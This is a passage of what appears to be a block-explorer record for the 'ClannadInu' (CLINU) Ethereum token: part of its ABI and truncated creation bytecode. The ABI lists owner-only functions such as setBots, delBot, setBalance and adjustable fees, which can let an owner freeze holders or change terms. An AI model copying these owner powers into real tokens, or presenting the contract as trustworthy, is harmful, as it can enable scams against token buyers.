ype":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"botBlocks","type":"uint256"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFeeLimiter","type":"uint256"}],"name":"updateFeeLimiter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526001600760156101000a81548160ff0219169083151502179055506001600d60006101000a81548160ff0219169083151502179055506000600d60016101000a81548160ff0219169083151502179055506000600d60026101000a81548160ff0219169083151502179055506000601060006101000a81548160ff0219169083151502179055506001601060016101000a81548160ff021916908315150217905550348015620000b357600080fd5b506040518060400160405280600a81526020017f436c616e6e6164496e75000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f434c494e5500000000000000000000000000000000000000000000000000000081525081600390805190602001906200013892919062000d9c565b5080600490805190602001906200015192919062000d9c565b505050600062000166620007b160201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d905062000231816001620007b960201b60201c565b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002b957600080fd5b505afa158015620002ce573d6000803e3d6000fd5b505050506040513d6020811015620002e557600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200035957600080fd5b505afa1580156200036e573d6000803e3d6000fd5b505050506040513d60208110156200038557600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1580156200040057600080fd5b505af115801562000415573d6000803e3d6000fd5b505050506040513d60208110156200042c57600080fd5b8101908080519060200190929190505050600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004b2600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620007b960201b60201c565b620004e7600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620008e760201b60201c565b600060029050600060049050600080600290506000600490506000806d04ee2d6d415b85acef81000000009050606460018202816200052257fe5b04600a819055506103e8600f8202816200053857fe5b04600c8190555061271060058202816200054e57fe5b04600b8190555086601581905550856016819055508460178190555060175460165460155401016014819055508360198190555082601a8190555081601b81905550601b54601a546019540101601881905550600160138190555073ff729a611f995c716e052c1295d6d0101b5f873d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073ff729a611f995c716e052c1295d6d0101b5f873d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000675620006676200098860201b60201c565b6001620009b260201b60201c565b62000688306001620009b260201b60201c565b620006bd600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620009b260201b60201c565b620006f2600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620009b260201b60201c565b62000714620007066200098860201b60201c565b6001620007b960201b60201c565b62000727306001620007b960201b60201c565b6200075c600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620007b960201b60201c565b62000791600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620007b960201b60201c565b620007a3338262000b3060201b60201c565b505050505050505062000e52565b600033905090565b620007c9620007b160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146200088c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80602060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b80602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620009c2620007b160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000a85576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405180821515815260200191505060405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000bd4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b62000be86000838362000d0e60201b60201c565b62000c048160025462000d1360201b620034c41790919060201c565b60028190555062000c62816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000d1360201b620034c41790919060201c565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b505050565b60008082840190508381101562000d92576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054600181600116156101000203166002900490600052602060002090601f01602090048101928262000dd4576000855562000e20565b82601f1062000def57805160ff191683800117855562000e20565b8280016001018555821562000e20579182015b8281111562000e1f57825182559160200191906001019062000e02565b5b50905062000e2f919062000e33565b5090565b5b8082111562000e4e57600081600090555060010162000e34565b5090565b614f3e8062000e626000396000f3fe60806040526004361061036f5760003560e01c80638ea5220f116101c6578063c17b5b8c116100f7578063e2f4560511610095578063f2fde38b1161006f578063f2fde38b14611280578063f6374342146112d1578063f8b45b05146112fc578063fb1669ca1461132757610376565b8063e2f45605146111fd578063e884f26014611228578063f11a24d31461125557610376565b8063c8c8ebe4116100d1578063c8c8ebe4146110d1578063d257b34f146110fc578063d85ba0631461114d578063dd62ed3e1461117857610376565b8063c17b5b8c1461101a578063c18bc19514611069578063c876d0b9146110a457610376565b8063a457c2d711610164578063b515566a1161013e578063b515566a14610e64578063b62496f514610f29578063bbc0c74214610f90578063c024666814610fbd57610376565b8063a457c2d714610d31578063a9059cbb14610da2578063aacebbe314610e1357610376565b80639a7a23d6116101a05780639a7a23d614610c535780639c3b4fdc14610cb05780639fccce3214610cdb578063a0d82dc514610d0657610376565b80638ea5220f14610b575780639213691314610b9857806395d89b4114610bc357610376565b80634a62bb65116102a05780637571336a1161023e5780637ed91485116102185780637ed9148514610a515780638095d56414610a8c57806382aa7c6814610adb5780638da5cb5b14610b1657610376565b80637571336a1461098857806375f0a874146109e55780637bce5a0414610a2657610376565b80636ddd17131161027a5780636ddd1713146108b257806370a08231146108df578063715018a614610944578063751039fc1461095b57610376565b80634a62bb65146107f35780634fbee193146108205780636a486a8e1461088757610376565b80631f3fed8f1161030d578063273123b7116102e7578063273123b7146106c2578063313ce56714610713578063395093511461074157806349bd5a5e146107b257610376565b80631f3fed8f146105cb578063203e727e146105f657806323b872dd1461063157610376565b80631694505e116103495780631694505e146104e357806318160ddd146105245780631816467f1461054f5780631a8145bb146105a057610376565b806306fdde031461037b578063095ea7b31461040b57806310d5de531461047c57610376565b3661037657005b600080fd5b34801561038757600080fd5b50610390611362565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d05780820151818401526020810190506103b5565b50505050905090810190601f1680156103fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041757600080fd5b506104646004803603604081101561042e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611404565b60405180821515815260200191505060405180910390f35b34801561048857600080fd5b506104cb6004803603602081101561049f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611422565b60405180821515815260200191505060405180910390f35b3480156104ef57600080fd5b506104f8611441565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561053057600080fd5b50610539611467565b6040518082815260200191505060405180910390f35b34801561055b57600080fd5b5061059e6004803603602081101561057257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611471565b005b3480156105ac57600080fd5b506105b56115fb565b6040518082815260200191505060405180910390f35b3480156105d757600080fd5b506105e0611601565b6040518082815260200191505060405180910390f35b34801561060257600080fd5b5061062f6004803603602081101561061957600080fd5b8101908080359060200190929190505050611607565b005b34801561063d57600080fd5b506106aa6004803603606081101561065457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611746565b60405180821515815260200191505060405180910390f35b3480156106ce57600080fd5b50610711600480360360208110156106e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061181f565b005b34801561071f57600080fd5b50610728611944565b604051808260ff16815260200191505060405180910390f35b34801561074d57600080fd5b5061079a6004803603604081101561076457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061194d565b60405180821515815260200191505060405180910390f35b3480156107be57600080fd5b506107c7611a00565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107ff57600080fd5b50610808611a26565b60405180821515815260200191505060405180910390f35b34801561082c57600080fd5b5061086f6004803603602081101561084357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a39565b60405180821515815260200191505060405180910390f35b34801561089357600080fd5b5061089c611a8f565b6040518082815260200191505060405180910390f35b3480156108be57600080fd5b506108c7611a95565b60405180821515815260200191505060405180910390f35b3480156108eb57600080fd5b5061092e6004803603602081101561090257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611aa8565b6040518082815260200191505060405180910390f35b34801561095057600080fd5b50610959611af0565b005b34801561096757600080fd5b50610970611c7b565b60405180821515815260200191505060405180910390f35b34801561099457600080fd5b506109e3600480360360408110156109ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611d69565b005b3480156109f157600080fd5b506109fa611e8e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a3257600080fd5b50610a3b611eb4565b6040518082815260200191505060405180910390f35b348015610a5d57600080fd5b50610a8a60048036036020811015610a7457600080fd5b8101908080359060200190929190505050611eba565b005b348015610a9857600080fd5b50610ad960048036036060811015610aaf57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050611f8e565b005b348015610ae757600080fd5b50610b1460048036036020811015610afe57600080fd5b81019080803590602001909291905050506120fb565b005b348015610b2257600080fd5b50610b2b61234f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b6357600080fd5b50610b6c612379565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ba457600080fd5b50610bad61239f565b6040518082815260200191505060405180910390f35b348015610bcf57600080fd5b50610bd86123a5565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610c18578082015181840152602081019050610bfd565b50505050905090810190601f168015610c455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610c5f57600080fd5b50610cae60048036036040811015610c7657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612447565b005b348015610cbc57600080fd5b50610cc56125c6565b6040518082815260200191505060405180910390f35b348015610ce757600080fd5b50610cf06125cc565b6040518082815260200191505060405180910390f35b348015610d1257600080fd5b50610d1b6125d2565b6040518082815260200191505060405180910390f35b348015610d3d57600080fd5b50610d8a60048036036040811015610d5457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506125d8565b60405180821515815260200191505060405180910390f35b348015610dae57600080fd5b50610dfb60048036036040811015610dc557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506126a5565b60405180821515815260200191505060405180910390f35b348015610e1f57600080fd5b50610e6260048036036020811015610e3657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126c3565b005b348015610e7057600080fd5b50610f2760048036036020811015610e8757600080fd5b8101908080359060200190640100000000811115610ea457600080fd5b820183602082011115610eb657600080fd5b80359060200191846020830284011164010000000083111715610ed857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061284d565b005b348015610f3557600080fd5b50610f7860048036036020811015610f4c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061299f565b60405180821515815260200191505060405180910390f35b348015610f9c57600080fd5b50610fa56129bf565b60405180821515815260200191505060405180910390f35b348015610fc957600080fd5b5061101860048036036040811015610fe057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506129d2565b005b34801561102657600080fd5b506110676004803603606081101561103d57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050612b47565b005b34801561107557600080fd5b506110a26004803603602081101561108c57600080fd5b8101908080359060200190929190505050612cb5565b005b3480156110b057600080fd5b506110b9612e12565b60405180821515815260200191505060405180910390f35b3480156110dd57600080fd5b506110e6612e25565b6040518082815260200191505060405180910390f35b34801561110857600080fd5b506111356004803603602081101561111f57600080fd5b8101908080359060200190929190505050612e2b565b60405180821515815260200191505060405180910390f35b34801561115957600080fd5b50611162612fe4565b6040518082815260200191505060405180910390f35b34801561118457600080fd5b506111e76004803603604081101561119b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fea565b6040518082815260200191505060405180910390f35b34801561120957600080fd5b50611212613071565b6040518082815260200191505060405180910390f35b34801561123457600080fd5b5061123d613077565b60405180821515815260200191505060405180910390f35b34801561126157600080fd5b5061126a613165565b6040518082815260200191505060405180910390f35b34801561128c57600080fd5b506112cf600480360360208110156112a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061316b565b005b3480156112dd57600080fd5b506112e661337b565b6040518082815260200191505060405180910390f35b34801561130857600080fd5b50611311613381565b6040518082815260200191505060405180910390f35b34801561133357600080fd5b506113606004803603602081101561134a57600080fd5b8101908080359060200190929190505050613387565b005b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113fa5780601f106113cf576101008083540402835291602001916113fa565b820191906000526020600020905b8154815290600101906020018083116113dd57829003601f168201915b5050505050905090565b600061141861141161354c565b8484613554565b6001905092915050565b602080528060005260406000206000915054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b61147961354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461153b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d5481565b601c5481565b61160f61354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6103e86116dc611467565b816116e357fe5b0481101561173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180614eda602f913960400191505060405180910390fd5b80600a8190555050565b600061175384848461374b565b6118148461175f61354c565b61180f85604051806060016040528060288152602001614e4460289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006117c561354c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546142439092919063ffffffff16565b613554565b600190509392505050565b61182761354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b60006119f661195a61354c565b846119f1856001600061196b61354c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134c490919063ffffffff16565b613554565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900460ff1681565b6000601f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60185481565b600d60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611af861354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000611c8561354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d47576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600d60006101000a81548160ff0219169083151502179055506001905090565b611d7161354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e33576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80602060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60155481565b611ec261354c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673f